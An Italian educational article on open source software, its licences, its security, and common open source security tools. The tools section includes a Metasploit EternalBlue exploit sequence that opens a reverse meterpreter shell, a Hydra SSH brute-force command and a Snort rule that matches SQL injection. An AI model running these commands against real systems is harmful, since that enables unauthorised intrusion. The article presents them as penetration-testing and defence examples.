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Open source e Cyber security

Scopri cos'è il software open source, se è sicuro, quali sono i più famosi e come viene usato nella sicurezza informatica.

In ambito cyber security

Indice dei contenuti

  • Cos’è un software open source
  • Che significa davvero open source: licenze e filosofia
  • È sicuro un software open source?
  • I software open source più famosi
  • Open source e sicurezza informatica: strumenti fondamentali
  • Perché le aziende scelgono l’open source?
  • Come gestire l’open source in azienda?

Spesso si sente parlare di “open source” come garanzia di trasparenza e sicurezza, ma cosa significa esattamente questo termine? È davvero sinonimo di affidabilità? In ambito cyber security, i software open source giocano un ruolo cruciale, ma è importante conoscerne caratteristiche, vantaggi e potenziali rischi.

In questo articolo esploreremo in maniera approfondita il concetto di open source, faremo chiarezza sulla sua sicurezza, elencheremo i software più noti e vedremo come vengono utilizzati per difendere i sistemi informatici.

Cos’è un software open source

Un software open source è un programma il cui codice sorgente è liberamente accessibile, modificabile e distribuibile da chiunque. Questo approccio si basa su una filosofia collaborativa che incoraggia la condivisione della conoscenza, la trasparenza e l’innovazione.

A differenza del software proprietario, dove il codice sorgente è segreto e modificabile solo dall’azienda sviluppatrice, nel modello open source chiunque può studiarne il funzionamento, segnalarne vulnerabilità o migliorarlo.

Un esempio semplice?
Immagina un’applicazione per la messaggistica istantanea. Se è open source, il suo codice può essere analizzato da sviluppatori di tutto il mondo per verificarne la sicurezza o per adattarla a esigenze particolari. Questa apertura stimola la fiducia e la collaborazione, elementi chiave soprattutto nel contesto della cyber security.

Che significa davvero open source: licenze e filosofia

Quando si parla di open source, non ci si riferisce solo a una categoria di software, ma a una vera e propria filosofia di condivisione, collaborazione e libertà digitale. Questo approccio ha anche un fondamento giuridico, regolato da precise licenze che definiscono ciò che può essere fatto con il codice.

I quattro principi fondamentali dell’open source

Un software può essere definito open source solo se rispetta i criteri stabiliti dalla Open Source Initiative (OSI):

  1. Libertà di utilizzo, per qualsiasi scopo (personale, commerciale, educativo, governativo).
  2. Accesso al codice sorgente, in modo che chiunque possa studiarlo.
  3. Libertà di modificare e migliorare il codice.
  4. Libertà di ridistribuire versioni originali o modificate del software.

Questi principi garantiscono la trasparenza e promuovono la security through transparency, cioè la possibilità di identificare bug e vulnerabilità grazie alla visibilità del codice.

Licenze open source: differenze e implicazioni

 GPL (General Public License)

Una delle licenze più rigide. Se crei un software derivato da codice GPL, devi rilasciarlo anch’esso come open source. Questo principio è detto copyleft.

Esempio pratico
Supponiamo tu modifichi il codice di GIMP (rilasciato sotto GPL) per creare un nuovo editor grafico. Sarai legalmente obbligato a pubblicare anche il tuo codice sotto GPL.

Snippet indicativo (GPL-style project):

// file: mymath.c (GPL licensed)

int add(int a, int b) {

    return a + b;

}

Chiunque può prendere questo codice, modificarlo, ma se lo distribuisce, deve mantenere la licenza GPL.

 MIT License

Estremamente permissiva. Puoi usare il codice, modificarlo, integrarlo in software commerciale e persino renderlo closed-source, purché tu mantenga un’avvertenza con la licenza originale.

Esempio pratico
Il famoso framework React di Meta è rilasciato con licenza MIT. Può essere integrato in prodotti commerciali senza dover pubblicare il codice sorgente dell’intero progetto.

Esempio di header di licenza MIT in un file:

/*

MIT License

Copyright (c) 2024 John Doe

Permission is hereby granted...

*/

function hello() {

    console.log("Hello Open Source");

}

 Apache License 2.0

Simile alla MIT, ma include una protezione contro i brevetti. Questo è importante in ambito aziendale, dove le dispute brevettuali sono comuni.

Esempio pratico
Molti progetti della Apache Software Foundation (come Apache HTTP Server o Kafka) usano questa licenza per favorire l’adozione da parte delle imprese.

Implicazioni nella sicurezza informatica

In cyber security, le licenze open source sono fondamentali per tre motivi:

  1. Definiscono le responsabilità
    In caso di vulnerabilità, la licenza spesso esonera lo sviluppatore originale da ogni responsabilità legale.
  2. Permettono la condivisione degli strumenti
    Ad esempio, strumenti come Snort o Suricata possono essere modificati per adattarsi a reti aziendali specifiche.
  3. Facilitano la creazione di fork
    Se un progetto viene abbandonato, può essere “forkato” e migliorato da un’altra community.

È sicuro un software open source?

Una delle domande più frequenti riguarda la sicurezza dell’open source. Non essendoci una sola azienda a sviluppare e mantenere il codice, può sembrare meno sicuro. Tuttavia, la realtà è spesso l’opposto.

La sicurezza dell’open source si basa sul principio di security through transparency. Più persone analizzano un codice, più è probabile che vengano scoperte vulnerabilità. Questo è vero soprattutto se il progetto è supportato da una community attiva, oppure da aziende che contribuiscono al suo sviluppo.

Esempio
OpenSSL, una libreria crittografica open source ampiamente utilizzata per la cifratura delle comunicazioni. Quando fu scoperta la famosa vulnerabilità Heartbleed nel 2014, il mondo intero poté analizzare il codice e contribuire a risolvere rapidamente il problema.

Tuttavia, la sicurezza dipende dalla qualità della manutenzione. Un software open source abbandonato o poco aggiornato può rappresentare un rischio.

Per questo è fondamentale valutare la reputazione del progetto, il numero di collaboratori attivi, la frequenza degli aggiornamenti e la documentazione disponibile.

sicurezza informatica

I software open source più famosi

Nel corso degli anni, molti software open source sono diventati strumenti indispensabili nel mondo IT. Tra i più noti troviamo:

  • Linux
    Sistema operativo open source per eccellenza, base di moltissimi server, smartphone (Android) e dispositivi embedded.
  • Firefox
    Browser open source che ha sfidato giganti come Internet Explorer e Chrome.
  • LibreOffice
    Suite da ufficio alternativa a Microsoft Office.
  • GIMP
    Programma di grafica raster, alternativa gratuita a Photoshop.
  • VLC
    Lettore multimediale in grado di riprodurre praticamente qualsiasi formato.
  • Blender
    Potente software per la modellazione 3D, usato anche in produzioni professionali.
  • Audacity
    Editor audio open source molto popolare.

Questi esempi mostrano come il modello open source possa competere ad altissimo livello con il software commerciale, anche al di fuori dell’ambito strettamente tecnico.

Open source e sicurezza informatica: strumenti fondamentali

Nel mondo della cyber security, il software open source non è solo un’alternativa economica: è spesso la prima sceltaper i professionisti.

Le sue caratteristiche di trasparenza, personalizzabilità e il supporto di community globali rendono molti tool open source essenziali per la difesa delle infrastrutture digitali.

1. Wireshark – Analisi del traffico di rete

Wireshark è un analizzatore di pacchetti molto potente. Viene usato in ambito forense, per debug di rete e rilevamento delle intrusioni.

Esempio pratico:

sudo wireshark

Oppure da terminale con tshark:

tshark -i eth0 -Y "http.request" -T fields -e ip.src -e http.host

Questo comando intercetta le richieste HTTP e stampa l’indirizzo IP sorgente e l’host.

2. Metasploit Framework – Test delle vulnerabilità

Metasploit è un framework per penetration testing e simulazioni di attacco. Contiene centinaia di exploit, payload e moduli ausiliari.

Esempio di exploit:

msfconsole

use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS 192.168.1.10

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.1.5

exploit

Simula l’attacco EternalBlue (WannaCry), ovviamente da usare solo in ambienti controllati.

3. Kali Linux – Sistema operativo per pentester

Distribuzione Linux specializzata per test di penetrazione. Contiene strumenti come Hydra, Aircrack-ng, Burp Suite, John the Ripper.

Comando tipico con Hydra:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.10 ssh

Tenta un brute-force SSH sull’host indicato.

4. Snort – Intrusion Detection System

Snort analizza il traffico in tempo reale e rileva firme note di attacchi.

Esempio regola Snort:

alert tcp any any -> 192.168.1.10 80 (msg:"Tentativo di SQL Injection"; content:"' OR 1=1"; sid:1000001;)

Rileva tentativi di SQL Injection su una porta HTTP.

5. Nmap – Scanner di rete

Nmap permette di esplorare la rete, scoprire host e servizi, e identificare potenziali punti di attacco.

Comando base:

nmap -sS -sV -T4 192.168.1.0/24

Scansione SYN su tutta la rete locale con identificazione dei servizi.

6. ClamAV – Antivirus open source

Efficace su server Linux e sistemi email.

Scansione di una directory:

clamscan -r /var/www

7. OSSEC – Host-based IDS

Monitora file di log, rileva rootkit, controlla integrità file.

Configurazione tipica:

<rootcheck>

  <disabled>no</disabled>

</rootcheck>

8. Suricata – IDS/IPS ad alte prestazioni

Simile a Snort ma con capacità multi-thread.

Comando di avvio:

suricata -c /etc/suricata/suricata.yaml -i eth0

9. OpenVAS – Vulnerability scanner

Ottimo per valutazioni periodiche su sistemi aziendali.

Uso tramite web UI: accedi a https://localhost:9392 dopo averlo installato e configurato.

10. Strumenti per la privacy

  • KeePass – Gestore di password offline
  • Veracrypt – Cifratura dischi e volumi
  • GnuPG – Cifratura PGP di file ed email
  • Tor – Anonimato online e navigazione su Dark Web

Esempio GnuPG:

gpg --encrypt --recipient alice@example.com file.txt

Open source nel contesto aziendale

Negli ultimi anni, sempre più aziende e pubbliche amministrazioni stanno scegliendo soluzioni open source per le proprie infrastrutture IT.

Non si tratta più solo di una scelta ideologica o economica: oggi l’open source rappresenta una strategia competitiva per l’innovazione, l’indipendenza tecnologica e la sicurezza informatica.

Perché le aziende scelgono l’open source?

1. Risparmio sui costi di licenza

Le licenze commerciali possono costare decine di migliaia di euro ogni anno. Con l’open source, i costi di licenza sono assenti o minimi, permettendo alle aziende di investire maggiormente in personalizzazione e sicurezza.

Esempio
Una banca che sostituisce Microsoft SQL Server con PostgreSQL può risparmiare cifre enormi, mantenendo comunque standard di performance e sicurezza elevati.

2. Maggiore controllo sul codice

Con accesso diretto al codice sorgente, è possibile verificare cosa accade “dietro le quinte”, evitare backdoor e sviluppare funzioni specifiche per il proprio contesto operativo.

Caso d’uso reale:
Nel settore sanitario, un ospedale può adattare un sistema open source di cartella clinica elettronica alle normative locali sulla privacy, come il GDPR, con totale controllo sull’architettura.

3. Personalizzazione avanzata

Molte soluzioni commerciali sono “chiuse”, con scarsa possibilità di modifica. L’open source consente invece di integrare, estendere, modificare il software in base alle esigenze del proprio business.

Esempio
Un’azienda logistica può aggiungere moduli personalizzati a Odoo, una suite ERP open source, per gestire il proprio magazzino in modo ottimale.

4. Sicurezza verificabile

L’open source permette audit indipendenti del codice, rendendo più semplice identificare vulnerabilità. Organizzazioni come OWASP consigliano spesso strumenti open source proprio per la loro trasparenza.

5. Eliminazione del vendor lock-in

Dipendere da un unico fornitore può essere rischioso (aumenti di prezzo, cambi di policy, dismissione del software). Con l’open source, l’azienda ha libertà di scelta su chi fornisce il supporto tecnico e può anche gestirlo internamente.

Come gestire l’open source in azienda?

Adottare software open source non significa improvvisare. Servono:

  • Politiche di aggiornamento regolari
    → Automatizzare con strumenti come Ansible o GitOps.
  • Formazione del personale IT
    → Conoscenza approfondita di strumenti come Docker, Git, CI/CD.
  • Test di sicurezza continui
    → Uso di scanner come Trivy, OpenVAS, SonarQube.
  • Compliance legale
    → Verifica delle licenze (GPL, MIT, Apache) per evitare violazioni.

Domande e risposte

  1. Cos’è un software open source?
    È un programma il cui codice sorgente è liberamente consultabile, modificabile e ridistribuibile.
  2. Open source significa gratuito?
    Non necessariamente. Spesso lo è, ma possono esserci costi legati al supporto o a funzionalità premium.
  3. Un software open source è sempre sicuro?
    No, la sicurezza dipende dalla manutenzione e dalla qualità del codice.
  4. Quali sono i software open source più usati nella sicurezza?
    Wireshark, Metasploit, Kali Linux, Nmap, Snort, OpenVAS, Suricata, OSSEC.
  5. Linux è open source?
    Sì, Linux è uno dei progetti open source più grandi e usati al mondo.
  6. Cosa significa licenza GPL?
    È una licenza che obbliga a mantenere l’open source anche nei progetti derivati.
  7. Cosa cambia tra MIT e GPL?
    La MIT è più permissiva, la GPL impone la condivisione del codice modificato.
  8. Posso usare software open source in azienda?
    Sì, è comune e spesso raccomandato, purché ci siano controlli di sicurezza adeguati.
  9. Il software open source è usato anche dai governi?
    Sì, molti governi lo usano per motivi di trasparenza e indipendenza tecnologica.
  10. Dove posso trovare software open source affidabili?
    Su repository come GitHub, GitLab o SourceForge, controllando popolarità e aggiornamenti.
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